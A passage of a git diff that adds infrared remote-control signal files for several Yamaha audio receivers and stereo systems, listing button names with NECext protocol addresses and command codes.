+protocol: NECext +address: EF 00 00 00 +command: 6E 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 6F 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B0 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B1 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C0 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C1 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C2 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D0 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D1 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D2 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D3 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D4 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir new file mode 100644 index 000000000..0148353c0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: TapePlay +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: TapeRewind +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: TapeForward +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: TapeStop +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: TapeRec +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: TapeDeckA/B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: TapeDirA +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: CDPlay +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: CDPause/Stop +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: CDSkipForward +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: CDSkipBack +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: CDForward +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: CDRewind +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: SourceVCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: RadioPreset+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: RadioPreset- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: A/B/C/D/E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: SourceCD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: SourceTuner +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: SourceDVD/LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: Tape/MD_Monitor +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: TapeDirB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: DiscSkip +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4F 00 00 00 +# +name: DSP+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: DSP- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: DSP_Prg- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: SourceSAT/D-TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: SourceAUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: DSP_Prg+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 58 00 00 00 +# +name: Time/Level +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: ExternalDecoder +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: SetMenu +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir new file mode 100644 index 000000000..d76199de7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: TAPE_REV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: TAPE_FF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: TAPE_STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: TAPE_REC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: TAPE_DECK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: TAPE_DIRA +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: CD_PAUSE_STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: CD_NEXT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: CD_PREV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: CD_FF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: CD_REV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: PRESET+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: PRESET- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: A/B/C/D/E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: TAPE_DIRB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: CD_DISC_SKIP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: D-TV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: EFFECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: PRG+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 58 00 00 00 +# +name: PRG- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 59 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: TIME/LEVEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: KEY_6CH_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: SET_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir new file mode 100644 index 000000000..9a9fc0956 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: Preset+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: Preset- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: A/B/C/D/E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: Menu+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: Menu- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: DTV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: Stereo +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 58 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 59 00 00 00 +# +name: Test +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: Level +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: KEY_6chIN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: Dobly/DTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: Night +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 95 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: MenuUp +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 98 00 00 00 +# +name: MenuDown +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 99 00 00 00 +# +name: SetMenu +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C1 00 00 00 +# +name: MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir new file mode 100644 index 000000000..0d35c0fa9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: AMP/VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: AMP/TURNER_PAGE_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: AMP/TURNER_PAGE_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: AMP/TURNER_PAGE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: AMP/AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: AMP/CD_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: AMP/TURNER_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: AMP/VOL_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: AMP/VOL_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: AMP/MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: AMP/PLUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: AMP/MINUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: AMP/TV_CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: AMP/V_AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: AMP/EFFECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: AMP/SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: AMP/POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: AMP/PRG_PLUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 58 00 00 00 +# +name: AMP/PRG_MINUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 59 00 00 00 +# +name: AMP/TEST +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: AMP/TIME_LEVEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: AMP/6_CH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: AMP/SET_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: AMP/DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C1 00 00 00 +# +name: AMP/MD_CDR_INPU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir new file mode 100644 index 000000000..d46baef46 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: TAPE_REWIND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: TAPE_FFWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: TAPE_STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: TAPE_REC/PAUSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: TAPE_REC_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 05 00 00 00 +# +name: TAPE_DECK_A/B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: TAPE_DIR_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: CD_STOP/PAUSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: CD_SKIP_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: CD_SKIP_REW +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: CD_SEARCH_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: CD_SEARCH_REW +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: PHONO_PLAY/CUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0E 00 00 00 +# +name: TUNER_PRESET_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER_PRESET_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER_A/B/C/D/E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: PHONO_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: CD_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: TUNER_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: LD_V_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: TAPE_1/DAT_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: VCR_APE_2_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: TAPE_DIR_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: EQ_ON/FLAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5A 00 00 00 +# +name: EQ_PRESET_SKIP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir new file mode 100644 index 000000000..253387d37 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 05 00 00 00 +# +name: DECK_A/B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: DIR_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: PAUSE_STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: SKIP-FFWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: SKIP-REWIND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: SEARCH_FFWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: SEARCH_REWIND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: DIR_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: DISC-SCAN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir new file mode 100644 index 000000000..16a6fde6d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: TAPE_REWIND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: TAPE_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: TAPE_STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 05 00 00 00 +# +name: DECK_A/B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: DIR_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: CD_PAUSE/STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: CD_SKIP_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: CD_SKIP_BACK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: CD_SEARCH_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: CD_SEARCH_BACK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: PRESET+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: PRESET- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: A/B/C/D/E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: TAPE_MON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: DIR_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir new file mode 100644 index 000000000..697742f47 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: TAPE_REWIND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: TAPE_FFWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: TAPE_STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: TAPE_REC/PAUSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: TAPE_REC_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 05 00 00 00 +# +name: DECK_A/B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: TAPE_DIR_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: CD_STOP/PAUSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: CD_SKIP_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: CD_SKIP_REV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: CD_SEARCH_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: CD_SEARCH_REV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: VCR_1_MON_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: TUNER_PRESET_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER_PRESET_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER_A/B/C/D/E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: VCR_2_APE_2_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: PHONO_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: CD_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: TUNER_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: LD_V_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: TAPE_1_MON_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: MASTER_VOLUME_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: MASTER_VOLUME_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: MASTER_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: TAPE_DIR_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: CD_DISC_SKIP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4F 00 00 00 +# +name: DELAY_TIME_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: DELAY_TIME_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: EFFECT_ON/OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: REAR_LEVEL_+ +type: parsed +protocol: NECext +address: 7A 00 